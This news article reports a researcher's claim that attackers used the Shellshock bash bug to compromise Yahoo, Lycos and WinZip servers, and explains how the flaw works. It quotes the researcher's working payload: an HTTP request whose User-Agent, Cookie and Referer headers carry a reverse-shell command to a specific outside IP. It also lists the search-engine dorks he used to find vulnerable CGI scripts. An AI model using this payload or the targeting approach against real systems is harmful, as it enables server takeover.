Yahoo, Lycos and Winzip hacked through Shellshock vulnerability

In a  blog post made by Jonathan Hall,  he has stated that group of hackers have successfully managed to leverage the recently discovered #BashBug Shellshock vulnerability to compromise a large number of servers belonging to Yahoo, Lycos and Winzip.  These unknown hackers then used those hacked servers to  probe for other potential victims.

Jonathan Hall

The blog report was filed by Jonathan Hall who was once a self-confessed  black hat hacker.  Now he has turned into a full time dedicated white hat researcher cum, engineer cum consultant.  He stated that ever since the revelation of the existence of the Shellshock bug, he has been researching the possibilities of its exploitation but gave up after a while and started concentrating on hackers who might be using the vulnerability to exploit it in the wild.
“I noticed in my logs that a box was probing me in search of common scripts in my cgi-bin directory that people around the web have discussed are ‘vulnerable to the shellshock vulnerability’,” he noted. “The box that was probing me was actually a server on the winzip.com domain.”

What is #BashBug aka Shellshock

As already stated in our post dated 25th September, Shellshock is a vulnerability that exists in Linux core.  A crafted web request targeting a vulnerable CGI application could launch code/command on the server. Similar attacks are possible via OpenSSH, which could allow even restricted secure shell sessions to bypass controls and execute code on the server. DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine. while these are only few of the examples this bug is capable of doing much more.
Hall notes on his blogpost that,
The vulnerability in bash comes from, in a sense, it’s normal abilities and behavior to interpret its own scripting language, known as bash scripting. Bash stands to serve as more than just a shell, supporting the ability to create if, then, else statements, perform simple routines and generally allow ease of administration by giving the ability to script out tasks. Where an issue lies is that generally, if you close out the segment of code with brackets, it should mark the end of the code. For instance. { cp /home/user/blah.txt /tmp; }; The final semi-colon after the bracket should terminate the line of code, indicating that anything past that should no longer be taken in to consideration. The problem is, it doesn’t. Anything past that point continues to be processed through bash, though now, it’s actually executing the instructions past this point. Bash knows that when it sees an environment variable containing a segment of instructions within the brackets: {} – that there is code to be executed in it. Once again, this is for function definition only. It only allows us to define a set of instructions and give them a name – not run them, per say. However, for 25 years, the most widely used shell in the world didn’t end the instructions and definition there, and continued to execute past this point. This is what has made it vulnerable, but one might argue that you would still have to find a way to bleed your environment variables in to the shell to begin with. That’s not as uncommon as you might think. In fact, most CGI scripts will bring the variables in to the environment automatically when being executed through the CGI interface. It doesn’t matter if they use them for anything or not; the fact that they’ve been bleed in to the environment is where the threat comes in. The next execution of bash will result in the arbitrary code being executed. Knowing this, finding attack vectors was actually very easy.
Successful exploitation vectors as been achieved in many methods, not limited to just web scripts. I have successfully exploited bash through not only web scripts, but FTP servers where certain conditions are met (possibly considered race-conditions) – external authentication modules for instance, OpenSSH and even through a stratum server being run by a bitcoin mining pool. The name of that pool is being withheld, and the methodology involved in that exploitation will not be discussed for obvious reason. It’s a shame I’m not malicious, I’d have hijacked a ton a bitcoins. I will also not go in to details on exploiting it through OpenSSH, but it does also rely on very certain, not to mention, uncommon factors.
The original code I wrote simply searched google.com for various search phrases, including, but not limited to: inurl:cgi-bin filetype:sh, inurl:cgi-bin filetype:pl, inurl:cgi-bin filetype:cgi . It then sat there delivering the following payload to the search results:
char *request = “GET %s HTTP/1.0\r\nUser-Agent: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nCookie: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nHost: %s\r\nReferer: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\n\r\n”;
To clarify what’s going on here, this is actually a standard HTTP GET request with what would be considered malformed headers. We see that in the User-Agent field, as well as the Cookie and Referer fields, I’ve included a () { :; }; to start, which triggers the vulnerability. Everything past that point gets executed. As you see, I’m simply executing: /bin/bash –i >&/dev/tcp/199.175.52.92/2221 0>&1
What this is doing is forcing bash to run and pipe itself through a tcp session to my box on a specific port. On that box, I have a small program using non-blocking sockets that accepts the connection, issues an id;uname –a – logs the results and closes the session. As the days passed and my code grew in size, newer vectors began being incorporated, such as spidering the site, indexing any instances found in the source that referenced any cgi-bin scripts – along with their parameters – and attempted to exploit them as well. Before I knew it, I was getting an onslaught of boxes connecting left and right. Once I realized just how serious it really is, I decided to take my research one step further and begin investigating current exploitation in the wild, including methodologies and trying to see how widely spread it was. I modified my logging on my boxes and began watching for incoming connections, while still continuing to dig around with what I was finding.

WinZip

Hall revealed that he found the WinZip server was compromised by unknown hackers while fishing on the IRC channels for leads. Further investigations by Hall revealed a perl script in WinZip cgi-bin directory and an IRC DDoS bot running on it. This according to him can only be done through Shellshock vulnerability.  Further he noticed that the hackers didnt plan to use the hack for Distributed Denial of Services (DDoS) capabilities but they seemed more interested in shell access. Normally hackers breach servers either to steal data or to launch DDoS attacks against their perceived enemies.
“I killed the perl script off and notified both WinZip and the local FBI office of the compromise,” he says, and notes that the compromised server “was one of their ‘store’ boxes, which serves as a payment gateway for WinZip purchases.”

Yahoo and Lycos

Hall then continued monitoring the IRC channel to which the bots on the servers compromised and equipped with the same perl script are forced to check in.  On keeping a tabs on this particular IRC channel, he found out that the same group of unknown hackers had also compromised servers belonging to Lycos and Yahoo.
Hall noticed that the hackers used Romanian to comment among themselves.  Further investigations by Hall revealed that the hackers had totally “pwned” two Yahoo servers through which they are trying to gain access to the rest of the company’s network.
Hall stated in his blog post that the hackers are working towards compromising the Yahoo! Games servers, and posits that it is because they are visited by millions of users each day – users who have Java installed on their computers in order to be able to play – and whose vulnerable Java installations can be easily exploited.
Hall alerted all three companies, viz Yahoo, Lycos and Winzip.  Out of the three, only Yahoo confirmed the vulnerability and the hack.  Hall said that a Yahoo security team member confirmed that they found the evidence of compromise he described on the servers in question.  Lycos and WinZip are yet to confirm the hack.
Hall has also intimated the FBI to look into the hacks and FBI are now investigating the matter.